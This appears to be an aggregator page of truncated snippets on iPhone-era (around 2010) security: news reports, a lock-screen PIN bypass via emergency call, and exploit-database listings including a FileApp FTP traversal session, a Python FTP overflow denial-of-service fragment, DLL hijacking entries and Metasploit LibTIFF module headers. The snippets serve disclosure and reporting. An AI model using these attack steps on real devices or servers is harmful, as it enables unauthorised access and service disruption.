Malicious URLs Pose Mobile Hijacking Risk

The security of mobile devices may be at risk for Web borne attacks because of loose policies for processing URLs Uniform Resource Locators, according to a report by security researcher Nitesh Dhajani. Writing on the SANS Application Security Blog, Dhanjani said that that way the iPhone’s operati...

Firm Finds Gaping Holes in Mobile Payments Applications

eBay’s PayPal online payment division is rushing a software patch to users of its iPhone mobile payments application to plug a hole that leaves users vulnerable to man-in-the-middle and phishing attacks, but the firm that found that hole said transaction security is just one problem facing the...

Apple iPhone 锁屏安全绕过漏洞

Bugtraq ID: 44419 Apple iOS是一款运行在苹果iPhone和iPod touch设备上的最新的操作系统。 Apple iOS新版中的一个严重漏洞，iPhone在处理紧急呼叫时再次出现可绕过锁屏PIN Apple iOS 4.0.1 Apple iOS 4.2 beta Apple iOS 4.1 厂商补丁： Apple ------- 目前没有详细解决方案提供： http://www.apple.com/iphone/ 实现方法如下： 1.在PIN输入屏幕点击紧急呼叫按钮。 2.随意输入一些号码，例如1337并拨打。...

Key Combos Bust iPhone Password Protection

A flaw in the iOS software that runs Apple’s iPhone allows any user to bypass the password entry screen by manipulating the emergency call feature, essentially rendering iPhone passwords useless. The flaw, first disclosed in a discussion on the forums site macrumors.com on October 22, requires...

iPhone Jailbreak Tool Sets Stage for Mobile Malware

SAN DIEGO–The success of a group of hackers in compromising the security of Apple’s iPhone may set the stage for more malware for the popular handset, including rootkit-style remote monitoring tools and data stealing malware. In a presentation at the ToorCon Hacking Conference here on Saturday,...

Cool iPhone Ringtone Maker 2.2.3 - dwmapi.dll DLL Loading Arbitrary Code Execution

Cool iPhone Ringtone Maker 2.2.3 - dwmapi.dll DLL Loading Arbitrary Code Execution // source: https://www.securityfocus.com/bid/44205/info Cool iPhone Ringtone Maker is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate...

Cool iPhone Ringtone Maker 2.2.3 - 'dwmapi.dll' DLL Loading Arbitrary Code Execution

// source: https://www.securityfocus.com/bid/44205/info Cool iPhone Ringtone Maker is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share locatio...

Cool iPhone Ringtone DLL Hijacking

=================================================== Cool Iphone Ringtone DLL Hijacking Exploit dwmapi.dll =================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //...

Cool Iphone Ringtone DLL Hijacking Exploit (dwmapi.dll)

Exploit for windows platform in category local exploits ======================================================= Cool Iphone Ringtone DLL Hijacking Exploit dwmapi.dll ======================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 ...

CanSecWest

Vancouver, British Columbia, Canada Another smaller, regional hacking show, the CanSecWest Applied Security Conference started to get broader attention after organizers began offering prizes for compromising the security of popular platforms like the Apple MacBook and iPhone. Now in its 11th year...

FileApp For iPhone / iPad / iPod Touch Directory Traversal

Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established. drwxr-xr-x 2 501 501 1564 Sep 29 18:1...

FileApp For iPhone / iPad / iPod FTP Denial Of Service

Title : FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "[email protected]" username = "anonymous" passwd = "\x41" 5000 sock = socket.socketsocket.AFINET, socket.SOCKSTREAM try: sock.connecthostname, 2121 print...

FileApp < 2.0 for iPhone, iPad and iPod Touch Directory Traversal

Exploit for hardware platform in category remote exploits ================================================================= FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. f...

FileApp < 2.0 for iPhone, iPad and iPod FTP Remote Denial of Service

Exploit for windows platform in category dos / poc ==================================================================== FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "email protected" username =...

iOS FileApp 2.0 - FTP Remote Denial of Service

iOS FileApp 2.0 - FTP Remote Denial of Service Title : FileApp \n" print "Example:./FileApp 10.10.10.10\n" if lensys.argv 2: Usage sys.exit1 else: hostname = sys.argv1 username = "\x41" 5000 passwd = "[email protected]" username = "anonymous" passwd = "\x41" 5000 sock = socket.socketsocket.AFINET,...

iOS FileApp 2.0 - Directory Traversal

iOS FileApp 2.0 - Directory Traversal Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established...

iOS FileApp < 2.0 - Directory Traversal

Title : FileApp ftp ftp open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User 192.168.1.100:none: 331 Password please. Password: 230 User logged in. ftp dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established. drwxr-xr-x 2 501 501 1564 Sep 29 18:1...

iPhone Jailbreaking, Greenpois0n and SHAtter Trojans

By Costin Raiu When iPhone jailbreaking was declared legal earlier this year, Apple fans from all around the world rejoiced. Sites such as Jailbreakme.com, which allowed for the simple and straightforward jailbreaking of older iPhones, became very popular. Indeed, the keyword here is “older”...

Apple iPhone MobileSafari LibTIFF - 'browser' Remote Buffer Overflow (Metasploit) (1)

$Id: safarilibtiff.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit) (2)

$Id: safarilibtiff.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...